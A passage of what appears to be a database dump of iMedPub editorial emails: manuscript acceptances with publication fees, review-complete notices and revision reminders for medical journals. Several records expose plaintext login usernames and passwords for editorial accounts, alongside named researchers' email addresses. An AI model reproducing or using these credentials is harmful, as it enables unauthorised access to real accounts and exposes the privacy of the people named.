<b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','gdmitsiou@gmail.com',3886,'2020-04-27',48),(1112,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-3870</b><br />\r\n            <br />\r\n            Article Title: <b>Analysis of the stress, anxiety and healthy habits in the Spanish COVID-19 confinement</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Vicario-Merino</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','avicario@ucjc.edu',3870,'2020-04-27',48),(1113,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3863</b><br />\r\n            <br />\r\n            Article Title: <b>A Narrative Literature Review Of Global Pandemic Novel Coronavirus Disease 2019 (Covid-19) : Epidemiology , Virology , Potential Drug Treatments Available </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Venkatesh Hangr</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3863</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',3863,'2020-04-27',85),(1114,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-3529</b><br />\r\n            <br />\r\n            Article Title: <b>In silico identification of small molecules as novel coronavirus protease enzyme inhibitors</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>sen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>International Journal of Drug Development and Research</b>.</p>\r\n            <p>&nbsp;</p>\r\n            <p>kindly make a note that there is publication charges depending upon the complexity and economic situation of the country so we would like to raise&nbsp;<strong style=\"font-family: Tahoma; font-size: 11px;\">319 Euros&nbsp;</strong><span style=\"font-family: Tahoma; font-size: 11px;\">to the developing countries</span></p>\r\n            <p><br />\r\n            It is accepted on  <b>2020-04-27</b></p>\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','debanjansen48@gmail.com',3529,'2020-04-27',376),(1123,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"\">\r\n            <p style=\"\"><br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">             Ref.:  Ms. No.  </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">ijddr-20-3529</b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              Article Title: </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">In silico identification of small molecules as novel coronavirus protease enzyme inhibitors</b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              Journal Title: </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><a href=\"https://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              Dear Dr. </font><b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\">sen</b><br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              I am pleased to tell you that your work has now been accepted for publication in </font><b style=\"\"><font face=\"Verdana, Arial, Helvetica, sans-serif\">International Journal of Drug Development and Research.&nbsp;</font></b>kindly make a note that there is publication charges depending upon the complexity and economic situation of the country so we would like to raise&nbsp;<strong style=\"font-family: Tahoma; font-size: 11px;\">319 Euros&nbsp;</strong><span style=\"font-family: Tahoma; font-size: 11px;\">to the developing countries</span></p>\r\n            <p style=\"\">&nbsp;</p>\r\n            <p style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><br />\r\n            It is accepted on  <b>2020-04-28</b></p>\r\n            <div style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; border: 3px solid rgb(0, 153, 51); padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">              With Regards,</font><br />\r\n            <font face=\"Verdana, Arial, Helvetica, sans-serif\">             Managing Editor,</font><br />\r\n            <b style=\"font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;\"><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','debanjansen48@gmail.com',3529,'2020-04-28',376),(1124,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <p>iMedPub LTD</p>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family: Verdana, Arial, Helvetica, sans-serif;\"><br />\r\n            Ref.:  Ms. No.  <b style=\"font-size: 12px;\">ijddr-20-3529</b><br />\r\n            <br />\r\n            Article Title: <b style=\"font-size: 12px;\">In silico identification of small molecules as novel coronavirus protease enzyme inhibitors</b><br />\r\n            <br />\r\n            Journal Title: <b style=\"font-size: 12px;\"><a href=\"https://www.ijddr.in/\" target=\"_blank\">International Journal of Drug Development and Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b style=\"font-size: 12px;\">sen</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b style=\"\">International Journal of Drug Development and Research&nbsp;</b>kindly make a note that there is publication charges depending upon the complexity and economic situation of the country so we would like to raise<b style=\"font-size: 10px;\">&nbsp;319 Euros&nbsp;</b><span style=\"font-size: 10px;\">to the developing countries</span><b style=\"\"><span style=\"font-size: 10px;\"><br />\r\n            </span></b><br />\r\n            It is accepted on 2020-04-28<br />\r\n            <br />\r\n            It is accepted on  <b style=\"font-size: 12px;\">2020-04-28</b><br />\r\n            <br />\r\n            <div style=\"font-size: 12px; border: 3px solid rgb(0, 153, 51); padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@galleyproofs.com\">paymentproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b style=\"font-size: 12px;\"><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','debanjansen48@gmail.com',3529,'2020-04-28',376),(1131,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3863</b><br />\r\n            <br />\r\n            Article Title: <b>A Narrative Literature Review Of Global Pandemic Novel Coronavirus Disease 2019 (Covid-19) : Epidemiology , Virology , Potential Drug Treatments Available </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hangr</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-04-30</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','Venkateshhange@gmail.com',3863,'2020-04-30',85),(1132,'<p>Ref.:  Ms. No. : <b>ipaom-20-3584</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Effects of EEG signal to Parkinson disease through deep recurrent neural network</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Gholami Farkoush</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3584</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>saeid</b><br />\r\npassword: <b>uDsxSjud</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','saeidgholamifarkoush@gmail.com',3584,'2020-04-30',85),(1138,'<p>Ref.:  Ms. No. : <b>iphspr-20-3577</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The Perception of Population and Health Professionals regarding the National Immunization Program of Timor-Leste</b><br />\r\n<br />\r\nJOURNAL: <b>Health Systems and Policy Research</b><br />\r\n<br />\r\nDear <b>Dr. Tilman</b>,<br />\r\n<br />\r\nThe revision of <b>iphspr-20-3577</b> was expected by <b>27 April, 2020_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_30 April, 2020</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>carlos_boavida</b><br />\r\npassword: <b>Y6oj3GTf</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>',1,'Author Revision Subsequent Reminder','C.tilman@ensp.unl.pt',3577,'2020-04-30',84),(1151,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3787</b><br />\r\n            <br />\r\n            Article Title: <b>Exploration of the nerve electrophysiological Changes in Treatment of Facial Neuritis Through Acupuncture in Combination with Western Medication</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Qing Yang</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3787</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',3787,'2020-05-04',85),(1153,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3192</b><br />\r\n            <br />\r\n            Article Title: <b>Renal infarction following initiation of Fingolimod</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ghada Alsowailmi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3192</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3192,'2020-05-04',75),(1154,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3192</b><br />\r\n            <br />\r\n            Article Title: <b>Renal infarction following initiation of Fingolimod</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alsowailmi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','alsowailmi291@ksau-hs.edu.sa',3192,'2020-05-04',75),(1155,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3808</b><br />\r\n            <br />\r\n            Article Title: <b>Proposed Phenotype for Females with a SETD5 Gene Variation: A Case Report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Jenna Chiang</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3808</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3808,'2020-05-04',75),(1157,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ijddr-20-3864</b><br />\r\n            <br />\r\n            Article Title: <b>Self- Assembled Chitosan-g-Pluronic F-127 Copolymer (ChPC) Loaded with Polydatin Nanoparticles: Implication as Anti-Diabetic Therapy.</b><br />\r\n            <br />\r\n            Journal Title: <b>International Journal of Drug Development and Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>SCILIMATI</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ijddr-20-3864</b> for the <b>International Journal of Drug Development and Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.ijddr.in/\">International Journal of Drug Development and Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','antonio.scilimati@uniba.it',3864,'2020-05-04',376),(1158,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3573</b><br />\r\n            <br />\r\n            Article Title: <b>	Vitamin B12 deficiency associated with massive pulmonary embolism.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Hassan alayafi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3573</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',3573,'2020-05-04',75),(1159,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3573</b><br />\r\n            <br />\r\n            Article Title: <b>	Vitamin B12 deficiency associated with massive pulmonary embolism.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>alayafi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','hassanalayafy@yahoo.com',3573,'2020-05-04',75),(1160,'<p>Ref.:  Ms. No. : <b>ipaom-20-3635</b><br />\r\n<br />\r\nARTICLE TITLE: <b>CXCR4 is a valuable poor prognostic marker for CLL: Its higher level of expression is associated with inferior response to therapy, lower disease-free survival.</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. El Razzaz</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3635</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>mostafa</b><br />\r\npassword: <b>2vgPIjbd</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','big_darsh@hotmail.com',3635,'2020-05-04',85),(1161,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-3577</b><br />\r\n            <br />\r\n            Article Title: <b>The Perception of Population and Health Professionals regarding the National Immunization Program of Timor-Leste</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Islas Salinas</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>iphspr-20-3577</b> for the <b>Health Systems and Policy Research</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','patricia.islas@uacj.mx',3577,'2020-05-04',84),(1162,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><b style=\"font-family: Arial, sans-serif; font-size: 13.5pt;\">ijddr-20-3864</b>\r\n            <p class=\"MsoNormal\" style=\"margin-bottom:13.5pt;line-height:normal\"><span style=\"font-size: 13.5pt; font-family: Arial, sans-serif;\"> <br />\r\n            Article Title:&nbsp;<b>Self- Assembled Chitosan-g-Pluronic F-127 Copolymer (ChPC) Loaded with Polydatin Nanoparticles: Implication as Anti-Diabetic Therapy.</b><br />\r\n            <br />\r\n            Journal 